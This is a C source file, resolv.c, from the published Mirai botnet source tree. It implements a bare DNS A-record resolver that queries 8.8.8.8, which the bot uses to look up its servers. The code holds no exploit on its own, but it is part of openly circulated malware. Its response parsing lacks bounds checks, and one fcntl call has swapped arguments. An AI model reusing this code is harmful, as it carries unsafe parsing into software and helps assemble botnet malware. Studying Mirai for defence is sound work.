Mirai-Source-Code/mirai/bot/resolv.c

238 lines
6.1 KiB
C
Executable File

#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/select.h>
#include <errno.h>
#include "includes.h"
#include "resolv.h"
#include "util.h"
#include "rand.h"
#include "protocol.h"
void resolv_domain_to_hostname(char *dst_hostname, char *src_domain)
{
int len = util_strlen(src_domain) + 1;
char *lbl = dst_hostname, *dst_pos = dst_hostname + 1;
uint8_t curr_len = 0;
while (len-- > 0)
{
char c = *src_domain++;
if (c == '.' || c == 0)
{
*lbl = curr_len;
lbl = dst_pos++;
curr_len = 0;
}
else
{
curr_len++;
*dst_pos++ = c;
}
}
*dst_pos = 0;
}
static void resolv_skip_name(uint8_t *reader, uint8_t *buffer, int *count)
{
unsigned int jumped = 0, offset;
*count = 1;
while(*reader != 0)
{
if(*reader >= 192)
{
offset = (*reader)*256 + *(reader+1) - 49152;
reader = buffer + offset - 1;
jumped = 1;
}
reader = reader+1;
if(jumped == 0)
*count = *count + 1;
}
if(jumped == 1)
*count = *count + 1;
}
struct resolv_entries *resolv_lookup(char *domain)
{
struct resolv_entries *entries = calloc(1, sizeof (struct resolv_entries));
char query[2048], response[2048];
struct dnshdr *dnsh = (struct dnshdr *)query;
char *qname = (char *)(dnsh + 1);
resolv_domain_to_hostname(qname, domain);
struct dns_question *dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
struct sockaddr_in addr = {0};
int query_len = sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question);
int tries = 0, fd = -1, i = 0;
uint16_t dns_id = rand_next() % 0xffff;
util_zero(&addr, sizeof (struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INET_ADDR(8,8,8,8);
addr.sin_port = htons(53);
// Set up the dns query
dnsh->id = dns_id;
dnsh->opts = htons(1 << 8); // Recursion desired
dnsh->qdcount = htons(1);
dnst->qtype = htons(PROTO_DNS_QTYPE_A);
dnst->qclass = htons(PROTO_DNS_QCLASS_IP);
while (tries++ < 5)
{
fd_set fdset;
struct timeval timeo;
int nfds;
if (fd != -1)
close(fd);
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
{
#ifdef DEBUG
printf("[resolv] Failed to create socket\n");
#endif
sleep(1);
continue;
}
if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[resolv] Failed to call connect on udp socket\n");
#endif
sleep(1);
continue;
}
if (send(fd, query, query_len, MSG_NOSIGNAL) == -1)
{
#ifdef DEBUG
printf("[resolv] Failed to send packet: %d\n", errno);
#endif
sleep(1);
continue;
}
fcntl(F_SETFL, fd, O_NONBLOCK | fcntl(F_GETFL, fd, 0));
FD_ZERO(&fdset);
FD_SET(fd, &fdset);
timeo.tv_sec = 5;
timeo.tv_usec = 0;
nfds = select(fd + 1, &fdset, NULL, NULL, &timeo);
if (nfds == -1)
{
#ifdef DEBUG
printf("[resolv] select() failed\n");
#endif
break;
}
else if (nfds == 0)
{
#ifdef DEBUG
printf("[resolv] Couldn't resolve %s in time. %d tr%s\n", domain, tries, tries == 1 ? "y" : "ies");
#endif
continue;
}
else if (FD_ISSET(fd, &fdset))
{
#ifdef DEBUG
printf("[resolv] Got response from select\n");
#endif
int ret = recvfrom(fd, response, sizeof (response), MSG_NOSIGNAL, NULL, NULL);
char *name;
struct dnsans *dnsa;
uint16_t ancount;
int stop;
if (ret < (sizeof (struct dnshdr) + util_strlen(qname) + 1 + sizeof (struct dns_question)))
continue;
dnsh = (struct dnshdr *)response;
qname = (char *)(dnsh + 1);
dnst = (struct dns_question *)(qname + util_strlen(qname) + 1);
name = (char *)(dnst + 1);
if (dnsh->id != dns_id)
continue;
if (dnsh->ancount == 0)
continue;
ancount = ntohs(dnsh->ancount);
while (ancount-- > 0)
{
struct dns_resource *r_data = NULL;
resolv_skip_name(name, response, &stop);
name = name + stop;
r_data = (struct dns_resource *)name;
name = name + sizeof(struct dns_resource);
if (r_data->type == htons(PROTO_DNS_QTYPE_A) && r_data->_class == htons(PROTO_DNS_QCLASS_IP))
{
if (ntohs(r_data->data_len) == 4)
{
uint32_t *p;
uint8_t tmp_buf[4];
for(i = 0; i < 4; i++)
tmp_buf[i] = name[i];
p = (uint32_t *)tmp_buf;
entries->addrs = realloc(entries->addrs, (entries->addrs_len + 1) * sizeof (ipv4_t));
entries->addrs[entries->addrs_len++] = (*p);
#ifdef DEBUG
printf("[resolv] Found IP address: %08x\n", (*p));
#endif
}
name = name + ntohs(r_data->data_len);
} else {
resolv_skip_name(name, response, &stop);
name = name + stop;
}
}
}
break;
}
close(fd);
#ifdef DEBUG
printf("Resolved %s to %d IPv4 addresses\n", domain, entries->addrs_len);
#endif
if (entries->addrs_len > 0)
return entries;
else
{
resolv_entries_free(entries);
return NULL;
}
}
void resolv_entries_free(struct resolv_entries *entries)
{
if (entries == NULL)
return;
if (entries->addrs != NULL)
free(entries->addrs);
free(entries);
}